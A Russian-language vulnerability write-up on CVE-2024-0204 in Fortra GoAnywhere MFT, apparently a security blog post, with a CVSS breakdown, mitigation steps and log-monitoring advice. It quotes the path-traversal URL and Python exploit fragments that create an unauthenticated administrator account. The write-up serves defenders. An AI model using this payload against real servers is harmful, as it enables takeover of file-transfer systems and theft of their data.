Уязвимость приложения для безопасной передачи файлов Fortra (HelpSystems) GoAnywhere MFT
Уязвимость приложения для безопасной передачи файлов Fortra (HelpSystems) GoAnywhere MFT
Категория: Программы Теги: Уязвимости Опубликовано: 27 мая 2025

Уязвимость BDU:2024-00665 (CVE-2024-0204) Fortra GoAnywhere MFT

Уязвимость BDU:2024-00665 (CVE-2024-0204) представляет собой критическую ошибку аутентификации в системе безопасной передачи файлов Fortra GoAnywhere MFT. Уязвимость позволяет удалённому злоумышленнику создать учётную запись администратора без каких-либо проверок подлинности, используя путь обхода (path traversal) для доступа к мастеру начальной настройки учетных записей. Уязвимы версии GoAnywhere MFT до 7.4.1.

Анализ уязвимости

Уровень опасности: 9.8 (CRITICAL)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • AV:N (Attack Vector: Network) – Атака возможна через сеть.

  • AC:L (Attack Complexity: Low) – Низкая сложность эксплуатации.

  • PR:N (Privileges Required: None) – Требуемые привилегии: не требуются.

  • UI:N (User Interaction: None) – Взаимодействие с пользователем не требуется.

  • S:U (Scope: Unchanged) – Воздействие на другие компоненты: не оказывает.

  • C:H (Confidentiality: High) – Полная компрометация конфиденциальности.

  • I:H (Integrity: High) – Полная компрометация целостности.

  • A:H (Availability: High) – Полная компрометация доступности.


Условия эксплуатации

Для успешной атаки достаточно наличия уязвимой версии GoAnywhere MFT с доступом к веб-интерфейсу через сеть. Доступ к внутренней сети не требуется – злоумышленник может действовать удалённо, если административный порт (по умолчанию 443/TCP) открыт для внешних подключений. Уязвимость активируется через публично доступные эндпоинты, что делает её особенно опасной для систем, развёрнутых в облачных средах или без строгой сегментации сети.


Технический анализ уязвимости

Уязвимость возникает из-за некорректной обработки URL-путей в веб-компоненте GoAnywhere MFT. После установки системы мастер настройки администратора (InitialAccountSetup.xhtml) должен быть заблокирован, но из-за ошибки в контроле доступа он остаётся доступен через path traversal.
Пример уязвимого URL:

https://target/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml

Символы ..;/ обходят проверки, позволяя злоумышленнику получить доступ к форме создания администратора.


Анализ кода эксплоита

Рассмотрим ключевые фрагменты эксплоита CVE-2024-0204.py для понимания механики атаки.

1. Проверка доступности пути

Эксплоит отправляет GET-запрос к двум возможным путям обхода:

PRIMARY_EXPLOIT_PATH = "/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml"
SECONDARY_EXPLOIT_PATH = "/goanywhere/..;/wizard/InitialAccountSetup.xhtml"

response = session.get(url, headers=headers, verify=False, timeout=10)

Если сервер возвращает код 200, путь считается уязвимым.

2. Извлечение токена ViewState

Для отправки формы требуется токен javax.faces.ViewState, который извлекается из HTML-ответа:

soup = BeautifulSoup(response.text, "html.parser")
view_state = soup.find('input', {'name': 'javax.faces.ViewState'})

Этот токен защищает от CSRF-атак, но в данном случае он публично доступен.

3. Создание администратора

Эксплоит отправляет POST-запрос с данными нового пользователя:

data = {
    "j_id_u:creteAdminGrid:username": self.username,
    "j_id_u:creteAdminGrid:password_hinput": self.password,
    # ...
    "javax.faces.ViewState": view_state['value']
}
session.post(url, data=data, verify=False)

Поля password_hinput и confirmPassword_hinput содержат пароль в открытом виде, несмотря на маскировку в интерфейсе.

Если сервер возвращает успешный ответ, в системе создаётся администратор:

[+] vulnerable.example.com - Admin account created successfully!
Username: admin, Password: P@ssw0rd123

Защита и рекомендации

  1. Обновление ПО
    Установите версию GoAnywhere MFT 7.4.1 или новее.

  2. Ручное исправление
    Удалите или очистите файл InitialAccountSetup.xhtml:

    rm /opt/goanywhere/webapps/goanywhere/wizard/InitialAccountSetup.xhtml
  3. Сетевые ограничения
    Заблокируйте доступ к административному интерфейсу через Nginx:

    server {
        listen 443 ssl;
        server_name goanywhere-admin.example.com;
        location / {
            allow 192.168.1.0/24; # Разрешить только внутреннюю сеть
            deny all;
            proxy_pass https://localhost:8443;
        }
    }
  4. Мониторинг
    Регулярно проверяйте журналы на наличие подозрительных запросов:

    grep "InitialAccountSetup.xhtml" /var/log/goanywhere/access.log
Алексей Черемных Алексей Черемных
40